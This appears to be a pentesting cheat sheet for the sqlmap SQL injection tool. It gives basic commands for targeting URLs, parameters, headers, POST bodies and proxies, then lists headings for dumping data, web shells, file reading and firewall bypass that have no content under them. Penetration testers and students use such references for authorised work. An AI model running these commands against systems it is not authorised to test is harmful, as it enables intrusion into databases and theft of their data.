SQL Injection with Sqlmap
Basic Usage
# GET request
sqlmap -u "http://<target-ip>/?search=test"Using Burp Suite Request File
sqlmap -r request.txt# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080Cheat Sheet
Basic
sqlmap -u "https://example.com/?q=test"
# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q
# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"
# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"
# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch
# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-sslSpecify DBMS (Database Management System)
Enumerations
Dump Entories
Risk/Level
Random Agent
Fresh Queries
Injection Techniques
Sleep
Ignore HTTP response code
Drop Set-Cookie
Second Order Attack
Method 1. Simply adding the second request
Method 2. Tampering
Integrate with Other Commands
Web Shell
Read Files
Tampering
WAF (Web Application Firewall) Bypass
Custom tamper modules (Base64 encode)
Multiple Requests
Last updated